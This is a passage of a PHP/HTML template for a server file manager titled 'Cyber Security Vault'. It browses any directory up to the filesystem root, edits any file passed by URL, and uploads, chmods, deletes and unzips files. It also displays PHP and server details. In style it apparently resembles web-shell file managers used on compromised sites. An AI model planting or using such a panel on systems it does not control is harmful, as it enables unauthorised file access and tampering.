nowrap; } .path-breadcrumb { display: flex; flex-wrap: wrap; align-items: center; font-family: 'Consolas', monospace; font-size: 1rem; color: #38bdf8; } .path-breadcrumb a { color: #38bdf8; text-decoration: none; font-weight: 500; padding: 2px 6px; border-radius: 4px; transition: all 0.2s ease; } .path-breadcrumb a:hover { background: #0f172a; color: #7dd3fc; } /* System Metadata Statistics */ .system-meta-panel { display: flex; align-items: center; gap: 1rem; flex-shrink: 0; } .meta-badge { background: #0f172a; border: 1px solid #334155; padding: 0.4rem 0.8rem; border-radius: 6px; font-family: 'Consolas', monospace; font-size: 0.85rem; color: #94a3b8; display: inline-flex; align-items: center; gap: 0.5rem; } .meta-badge i { color: #0ea5e9; } /* Toolbar Actions */ .action-grid { display: flex; gap: 1rem; flex-wrap: wrap; margin-bottom: 1.5rem; align-items: center; } .search-container { flex: 1; min-width: 250px; position: relative; } .search-container input { width: 100%; background: #1e293b; border: 1px solid #334155; color: #f8fafc; padding: 0.75rem 1rem 0.75rem 2.5rem; border-radius: 8px; outline: none; font-size: 0.9rem; transition: all 0.2s ease; } .search-container input:focus { border-color: #38bdf8; box-shadow: 0 0 0 2px rgba(56, 189, 248, 0.2); } .search-container i { position: absolute; left: 1rem; top: 0.95rem; color: #64748b; } /* Modern Buttons */ .btn { background: #1e293b; border: 1px solid #334155; color: #cbd5e1; padding: 0.75rem 1.25rem; border-radius: 8px; cursor: pointer; text-decoration: none; display: inline-flex; align-items: center; gap: 0.5rem; font-size: 0.9rem; font-weight: 500; transition: all 0.2s ease; } .btn:hover { background: #334155; color: #f8fafc; border-color: #475569; } .btn-success { background: #059669; border: none; color: #ffffff; } .btn-success:hover { background: #047857; } .btn-danger { background: rgba(225, 29, 72, 0.15); border: 1px solid rgba(225, 29, 72, 0.3); color: #fb7185; } .btn-danger:hover { background: #e11d48; color: #ffffff; border-color: #e11d48; } .btn-icon { padding: 0.6rem 0.75rem; border-radius: 6px; } /* Perms dynamic button colors */ .btn-perm-writable { color: #34d399; background: rgba(16, 185, 129, 0.1); border-color: rgba(16, 185, 129, 0.25); } .btn-perm-writable:hover { background: rgba(16, 185, 129, 0.2); color: #10b981; border-color: rgba(16, 185, 129, 0.4); } .btn-perm-locked { color: #fb7185; background: rgba(225, 29, 72, 0.1); border-color: rgba(225, 29, 72, 0.25); } .btn-perm-locked:hover { background: rgba(225, 29, 72, 0.2); color: #e11d48; border-color: rgba(225, 29, 72, 0.4); } .inline-form { display: flex; gap: 0.5rem; } .inline-form input { background: #1e293b; border: 1px solid #334155; color: white; padding: 0.6rem 0.8rem; border-radius: 8px; font-size: 0.9rem; outline: none; transition: border-color 0.2s ease; } .inline-form input:focus { border-color: #38bdf8; } /* Elegant Table Design */ table { width: 100%; border-collapse: separate; border-spacing: 0; text-align: left; background: #1e293b; border-radius: 10px; overflow: hidden; border: 1px solid #334155; box-shadow: 0 4px 6px rgba(0, 0, 0, 0.05); } th { background: #0f172a; padding: 1.2rem; font-weight: 600; color: #94a3b8; border-bottom: 1px solid #334155; font-size: 0.85rem; text-transform: uppercase; letter-spacing: 0.5px; } td { padding: 1rem 1.2rem; border-bottom: 1px solid #334155; vertical-align: middle; transition: background 0.2s ease; } tr:last-child td { border-bottom: none; } .file-row:hover td { background: #2dd4bf0a; } .status-writable td:first-child { border-left: 4px solid #10b981; } .status-readonly td:first-child { border-left: 4px solid #ef4444; } .row-readonly-text { color: #fca5a5 !important; } .row-writable-text { color: #f1f5f9; font-weight: 500; } /* Interactive Link wraps */ .directory-link { text-decoration: none; color: inherit; display: flex; align-items: center; width: 100%; } .directory-link:hover .row-writable-text { color: #38bdf8; } .file-icon { font-size: 1.2rem; margin-right: 0.8rem; flex-shrink: 0; } .folder-icon { color: #facc15; } .generic-file-icon { color: #38bdf8; } /* Code Editor Style */ .editor-container { background: #1e293b; border: 1px solid #334155; border-radius: 10px; padding: 1.5rem; box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1); } .code-textarea { width: 100%; background: #0f172a; border: 1px solid #334155; border-radius: 8px; padding: 1.2rem; color: #a7f3d0; font-family: 'Consolas', monospace; font-size: 0.95rem; line-height: 1.5; margin-bottom: 1rem; resize: vertical; outline: none; } .code-textarea:focus { border-color: #38bdf8; } .modal-action { display: none; margin-top: 0.8rem; background: #0f172a; padding: 0.8rem; border-radius: 8px; border: 1px solid #334155; } .modal-action:target { display: block; animation: fadeIn 0.3s ease; } @keyframes fadeIn { from { opacity: 0; transform: translateY(-5px); } to { opacity: 1; transform: translateY(0); } } </style> </head> <body> <div class="container"> <div class="vault-header"> <div class="vault-title"> <i class="fas fa-shield-halved"></i> Cyber Security Vault </div> <div class="vault-logout"> <a href="?logout=1" class="btn btn-danger"><i class="fas fa-sign-out-alt"></i> Logout</a> </div> </div> <div class="topbar"> <div class="path-section"> <span class="path-label"><i class="fas fa-folder-open"></i> Directory:</span> <div class="path-breadcrumb"> <?php $clean_path = str_replace('\\', '/', $current_dir); $parts = explode('/', $clean_path); $path_links = []; $running_path = ''; if ($is_windows) { foreach ($parts as $index => $part) { if ($index === 0) { $running_path = $part; $path_links[] = '<a href="?dir=' . urlencode($running_path) . '">' . htmlspecialchars($part, ENT_QUOTES, 'UTF-8') . '</a>'; } elseif ($part !== '') { $running_path .= '/' . $part; $path_links[] = '<a href="?dir=' . urlencode($running_path) . '">' . htmlspecialchars($part, ENT_QUOTES, 'UTF-8') . '</a>'; } } echo implode(' <span style="color: #475569;">/</span> ', $path_links); } else { echo '<a href="?dir=' . urlencode('/') . '">/</a>'; foreach ($parts as $part) { if ($part !== '') { $running_path .= '/' . $part; $path_links[] = '<a href="?dir=' . urlencode($running_path) . '">' . htmlspecialchars($part, ENT_QUOTES, 'UTF-8') . '</a>'; } } echo implode(' <span style="color: #475569;">/</span> ', $path_links); } if (isset($_GET['edit'])) { echo ' <span style="color: #475569;">/</span> <span style="color: #f1f5f9; font-weight: 600;">' . htmlspecialchars(basename($_GET['edit']), ENT_QUOTES, 'UTF-8') . '</span>'; } ?> </div> </div> <div class="system-meta-panel"> <div class="meta-badge"><i class="fab fa-php"></i> PHP: <?php echo $php_version; ?></div> <div class="meta-badge"><i class="fas fa-server"></i> <?php echo htmlspecialchars($server_software); ?></div> <div class="meta-badge"><i class="fas fa-hdd"></i> Free: <?php echo format_size($free_disk); ?></div> </div> </div> <?php if(isset($_GET['edit'])): $edit_file = $_GET['edit']; if (file_exists($edit_file) && is_file($edit_file)): $writable = is_writable($edit_file); ?> <div class="editor-container"> <h3 style="margin-bottom: 1rem; font-weight: 600; color: #f8fafc;"><i class="fas fa-code" style="color: #38bdf8; margin-right: 8px;"></i> Edit File: <?php echo htmlspecialchars(basename($edit_file), ENT_QUOTES, 'UTF-8'); ?></h3> <form method="post"> <input type="hidden" name="csrf_token" value="<?php echo htmlspecialchars($_SESSION['csrf_token'], ENT_QUOTES, 'UTF-8'); ?>"> <textarea name="content" class="code-textarea" rows="25" spellcheck="false" <?php echo !$writable ? 'disabled' : ''; ?>><?php echo htmlspecialchars(file_get_contents($edit_file), ENT_QUOTES, 'UTF-8'); ?></textarea> <input type="hidden" name="file_path" value="<?php echo htmlspecialchars($edit_file, ENT_QUOTES, 'UTF-8'); ?>"> <div style="display: flex; gap: 1rem;"> <?php if($writable): ?> <button type="submit" name="save_edit" class="btn btn-success"><i class="fas fa-save"></i> Save Changes</button> <?php else: ?> <button type="button" class="btn" disabled><i class="fas fa-lock"></i> Read-Only Mode</button> <?php endif; ?> <a href="?dir=<?php echo htmlspecialchars(urlencode(dirname($edit_file)), ENT_QUOTES, 'UTF-8'); ?>" class="btn"><i class="fas fa-arrow-left"></i> Go Back</a> </div> </form> </div> <?php else: header("Location: ?dir=".urlencode($current_dir)); exit; endif; ?> <?php else: ?> <div class="action-grid"> <div class="search-container"> <i class="fas fa-search"></i> <input type="text" id="searchInput" placeholder="Search files or folders..."> </div> <form method="post" class="inline-form"> <input type="hidden" name="csrf_token" value="<?php echo htmlspecialchars($_SESSION['csrf_token'], ENT_QUOTES, 'UTF-8'); ?>"> <input type="text" name="folder_name" placeholder="New folder name..." required> <button type="submit" name="create_folder" class="btn btn-success" title="Create Folder"><i class="fas fa-folder-plus"></i></button> </form> <form method="post" class="inline-form"> <input type="hidden" name="csrf_token" value="<?php echo htmlspecialchars($_SESSION['csrf_token'], ENT_QUOTES, 'UTF-8'); ?>"> <input type="text" name="file_name" placeholder="New file name..." required> <button type="submit" name="create_file" class="btn btn-success" title="Create File"><i class="fas fa-file-circle-plus"></i></button> </form> <a href="?dir=<?php echo htmlspecialchars(urlencode(dirname($current_dir)), ENT_QUOTES, 'UTF-8'); ?>" class="btn"><i class="fas fa-level-up-alt"></i> Up</a> <button class="btn btn-success" onclick="document.getElementById('fileUpload').click()"><i class="fas fa-cloud-arrow-up"></i> Upload</button> </div> <form method="post" enctype="multipart/form-data" id="uploadForm" style="display:none;" action="?dir=<?php echo htmlspecialchars(urlencode($current_dir), ENT_QUOTES, 'UTF-8'); ?>"> <input type="hidden" name="csrf_token" value="<?php echo htmlspecialchars($_SESSION['csrf_token'], ENT_QUOTES, 'UTF-8'); ?>"> <input type="file" name="upload_file" id="fileUpload" onchange="document.getElementById('uploadForm').submit();"> </form> <table> <thead> <tr> <th>Name</th> <th>Permissions</th> <th>Size</th> <th>Last Modified</th> <th style="text-align: right;">Actions</th> </tr> </thead> <tbody id="file-tbody"> <?php $items = @scandir($current_dir); if($items === false) $items = []; $folders = []; $files = []; // Segregate Folders and Files for structural prioritization foreach($items as $item) { if($item == '.') continue; if($item == '..' && $current_dir === dirname($current_dir)) continue; $path = $current_dir . '/' . $item; if(is_dir($path)) { $folders[] = $item; } else { $files[] = $item; } } // Merge to ensure folders remain on top and files stay below $ordered_items = array_merge($folders, $files); foreach($ordered_items as $item): $path = $current_dir . '/' . $item; $is_dir = is_dir($path); $writable = is_writable($path); $status_class = $writable ? 'status-writable' : 'status-readonly'; $text_class = $writable ? 'row-writable-text' : 'row-readonly-text'; $icon_class = $is_dir ? 'fa-solid fa-folder folder-icon' : get_file_icon($path) . ' generic-file-icon'; $perm_btn_class = $writable ? 'btn-perm-writable' : 'btn-perm-locked'; ?> <tr class="file-row <?php echo $status_class; ?>" data-name="<?php echo htmlspecialchars($item, ENT_QUOTES, 'UTF-8'); ?>"> <td> <div style="display: flex; align-items: center;"> <?php if($is_dir): ?> <a href="?dir=<?php echo htmlspecialchars(urlencode($path), ENT_QUOTES, 'UTF-8'); ?>" class="directory-link"> <i class="<?php echo $icon_class; ?> file-icon"></i> <span class="<?php echo $text_class; ?>"><?php echo htmlspecialchars($item, ENT_QUOTES, 'UTF-8'); ?></span> </a> <?php else: ?> <i class="<?php echo $icon_class; ?> file-icon"></i> <span class="<?php echo $text_class; ?>"><?php echo htmlspecialchars($item, ENT_QUOTES, 'UTF-8'); ?></span> <?php endif; ?> </div> <div id="rename-<?php echo md5($item); ?>" class="modal-action"> <form method="post" class="inline-form" action="?dir=<?php echo htmlspecialchars(urlencode($current_dir), ENT_QUOTES, 'UTF-8'); ?>"> <input type="hidden" name="csrf_token" value="<?php echo htmlspecialchars($_SESSION['csrf_token'], ENT_QUOTES, 'UTF-8'); ?>"> <input type="hidden" name="file_path" value="<?php echo htmlspecialchars($path, ENT_QUOTES, 'UTF-8'); ?>"> <input type="text" name="new_name" value="<?php echo htmlspecialchars($item, ENT_QUOTES, 'UTF-8'); ?>" required> <button type="submit" name="rename_item" class="btn btn-success btn-icon"><i class="fas fa-check"></i></button> <a href="#" class="btn btn-icon"><i class="fas fa-times"></i></a> </form> </div> <div id="perms-<?php echo md5($item); ?>" class="modal-action"> <form method="post" class="inline-form" action="?dir=<?php echo htmlspecialchars(urlencode($current_dir), ENT_QUOTES, 'UTF-8'); ?>"> <input type="hidden" name="csrf_token" value="<?php echo htmlspecialchars($_SESSION['csrf_token'], ENT_QUOTES, 'UTF-8'); ?>"> <input type="hidden" name="file_path" value="<?php echo htmlspecialchars($path, ENT_QUOTES, 'UTF-8'); ?>"> <input type="text" name="perms_octal" placeholder="0755" style="width: 100px;" required> <button type="submit" name="change_perms" class="btn btn-success btn-icon"><i class="fas fa-check"></i></button> <a href="#" class="btn btn-icon"><i class="fas fa-times"></i></a> </form> </div> </td> <td> <code style="color: #94a3b8; font-family: 'Consolas', monospace; font-size: 0.95rem; font-weight: 500; letter-spacing: 1px;"><?php echo get_permissions_octal($path); ?></code> </td> <td style="color: #e2e8f0;"><?php echo $is_dir ? '—' : format_size(@filesize($path)); ?></td> <td><span style="color: #94a3b8;"><?php echo date("M d, Y H:i", @filemtime($path)); ?></span></td> <td style="text-align: right;"> <div style="display: flex; gap: 0.4rem; justify-content: flex-end;"> <?php if($is_dir): ?> <a href="?dir=<?php echo htmlspecialchars(urlencode($path), ENT_QUOTES, 'UTF-8'); ?>" class="btn btn-icon" title="Open Folder"><i class="fas fa-folder-open"></i></a> <a href="?action=zip&file=<?php echo htmlspecialchars(urlencode($path), ENT_QUOTES, 'UTF-8'); ?>&csrf_token=<?php echo htmlspecialchars(urlencode($_SESSION['csrf_token']), ENT_QUOTES, 'UTF-8'); ?>" class="btn btn-icon" title="Compress to ZIP"><i class="fas fa-file-zipper"></i></a> <?php else: ?> <a href="?edit=<?php echo htmlspecialchars(urlencode($path), ENT_QUOTES, 'UTF-8'); ?>" class="btn btn-icon" title="Edit File"><i class="fas fa-pen-to-square"></i></a> <a href="?action=download&file=<?php echo htmlspecialchars(urlencode($path), ENT_QUOTES, 'UTF-8'); ?>&csrf_token=<?php echo htmlspecialchars(urlencode($_SESSION['csrf_token']), ENT_QUOTES, 'UTF-8'); ?>" class="btn btn-icon" title="Download"><i class="fas fa-download"></i></a> <?php if(strtolower(pathinfo($path, PATHINFO_EXTENSION)) === 'zip'): ?> <a href="?action=unzip&file=<?php echo htmlspecialchars(urlencode($path), ENT_QUOTES, 'UTF-8'); ?>&csrf_token=<?php echo htmlspecialchars(urlencode($_SESSION['csrf_token']), ENT_QUOTES, 'UTF-8'); ?>" class="btn btn-icon" title="Extract ZIP"><i class="fas fa-box-open"></i></a> <?php endif; ?> <?php endif; ?> <a href="#rename-<?php echo md5($item); ?>" class="btn btn-icon" title="Rename Item"><i class="fas fa-i-cursor"></i></a> <a href="#perms-<?php echo md5($item); ?>" class="btn btn-icon <?php echo $perm_btn_class; ?>" title="Change Permissions (Status: <?php echo $writable ? 'Writable' : 'Locked'; ?>)"><i class="fas fa-key"></i></a> <a href="?action=delete&file=<?php echo htmlspecialchars(urlencode($path), ENT_QUOTES, 'UTF-8'); ?>&csrf_token=<?php echo htmlspecialchars(urlencode($_SESSION['csrf_token']), ENT_QUOTES, 'UTF-8'); ?>" class="btn btn-icon btn-danger" title="Delete Forever" onclick="return confirm('Are you sure you want to permanently delete this?');"><i class="fas fa-trash-can"></i></a> </div> </td> </tr> <?php endforeach; ?> </tbody> </table> <?php endif; ?> </div> <script> document.getElementById('searchInput').addEventListener('input', function() { const filter = this.value.toLowerCase(); const rows = document.querySelectorAll('#file-tbody .file-row'); rows.forEach(row => { const name = row.getAttribute('data-name').toLowerCase(); if (name.includes(filter)) { row.style.display = ''; } else { row.style.display = 'none'; } }); }); </script> </body> </html>
Save